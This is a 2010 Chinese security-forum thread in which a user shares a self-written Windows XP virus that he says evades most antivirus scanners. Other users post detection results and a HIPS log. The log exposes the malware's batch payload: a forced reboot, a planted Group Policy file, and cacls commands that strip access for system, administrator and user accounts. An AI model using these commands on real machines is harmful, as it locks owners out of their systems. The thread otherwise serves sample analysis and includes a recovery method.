自己写的毒 11%报。。

显示全部楼层 · 发表于 2010-12-18 21:25:03

本帖最后由 hzz2009 于 2010-12-25 21:06 编辑

想来想去还是发到样本区了..

这个毒只要不是HIPS就应该可以过（42只有11%报，且都是国外）。
它的原理先不说，各位研究研究吧。
只适用于winxp pro（真丢脸..)
提醒一下，不要实机运行：因为我就挂在那里了..被自己写的病毒挂上，悲剧！

其实我是个标准菜鸟，希望用这个作为敲门砖，向各位老大学习学习
我的QQ: chnchild@qq.com

大家有没有用虚拟机运行的？
能不能帮我找个恢复的方法啊，，我现在还进不了系统..

补发解决方法：进入“带网络连接的安全模式” 打开组策略，把那玩意儿删了，运行gpupdate /force（最主要），OK.

显示全部楼层 · 发表于 2010-12-18 21:28:24

QVM06

显示全部楼层 · 发表于 2010-12-18 21:30:27

2010/12/18 21:29:09 内核文件 'C:\Users\Galaxy Zhu\Desktop\csky_a.rar' 已发送到 ESET 进行分析。

显示全部楼层 · 发表于 2010-12-18 21:33:40

360 SD QVM06 Kill

显示全部楼层 · 发表于 2010-12-18 21:35:24

本帖最后由 JusT.Like 于 2010-12-18 21:38 编辑

系统破坏王？Bat? shutdown -r -t 5?

显示全部楼层 · 发表于 2010-12-18 21:36:04

KIS
Trojan.Win32.Scar.ddii

显示全部楼层 · 发表于 2010-12-18 21:36:43

大蜘蛛clean，加了个壳：
csky_a.exe packed by BINARYRES

显示全部楼层 · 发表于 2010-12-18 21:36:55

本帖最后由 juechao2000 于 2010-12-18 21:37 编辑

AVG
;"C:\Users\juechao\Desktop\csky_a.rar:\csky_a.exe";"特洛伊木马BackDoor.Generic13.PMG";"已移至病毒库"

显示全部楼层 · 发表于 2010-12-18 21:41:27

2010-12-18 21:39:03 创建新进程允许
进程: c:\windows\explorer.exe
目标: d:\我的文档\viurs test\csky_a\csky_a.exe
命令行: "d:\我的文档\viurs test\csky_a\csky_a.exe"
规则: [应用程序组]威胁提示Ⅰ -> [应用程序]* -> [子应用程序]d:\我的文档\*

2010-12-18 21:39:07 创建文件允许
进程: d:\我的文档\viurs test\csky_a\csky_a.exe
目标: C:\Documents and Settings\Administrator\Local Settings\Temp\系统破坏王.exe
规则: [文件组]Documents and Settings_阻止 -> [文件]?:\documents and settings\*; *.exe

2010-12-18 21:39:14 创建新进程允许
进程: d:\我的文档\viurs test\csky_a\csky_a.exe
目标: c:\documents and settings\administrator\local settings\temp\系统破坏王.exe
命令行: C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\系统破坏王.exe
规则: [应用程序组]威胁提示Ⅰ -> [应用程序]* -> [子应用程序]?:\documents and settings\*\local settings\temp\*

2010-12-18 21:39:30 创建文件允许
进程: c:\documents and settings\administrator\local settings\temp\系统破坏王.exe
目标: D:\我的文档\viurs test\csky_a\cmd.bat
规则: [文件组]Documents and Settings_阻止 -> [文件]d:\我的文档\*; *.bat

2010-12-18 21:39:33 创建新进程阻止
进程: c:\documents and settings\administrator\local settings\temp\系统破坏王.exe
目标: c:\windows\system32\cmd.exe
命令行: cmd /c cmd.bat
规则: [应用程序组]系统程序 -> [应用程序]* -> [子应用程序]c:\windows\system32\cmd.exe

-------------------------------------------------------------------------------------------------

shutdown -r -t 5
copy %cd%\Registry.pol %windir%\system32\GroupPolicy\Machine\Registry.pol
cacls %windir%\system32\GroupPolicy\Machine /c /t /e /r system
cacls %windir%\system32\GroupPolicy\Machine /c /t /e /r administrators
cacls %windir%\system32\GroupPolicy\Machine /c /t /e /r users
cacls %windir%\system32\GroupPolicy\Machine /c /t /e /r guest
cacls %windir%\system32\GroupPolicy\Machine /c /t /n creatorowner
gpupdate /force

显示全部楼层 · 发表于 2010-12-18 21:43:43

本帖最后由 F-secure2009 于 2010-12-18 21:44 编辑

LZ高手哦，过了不少呢

[病毒样本] 自己写的毒 11%报。。

本帖子中包含更多资源

浏览过的版块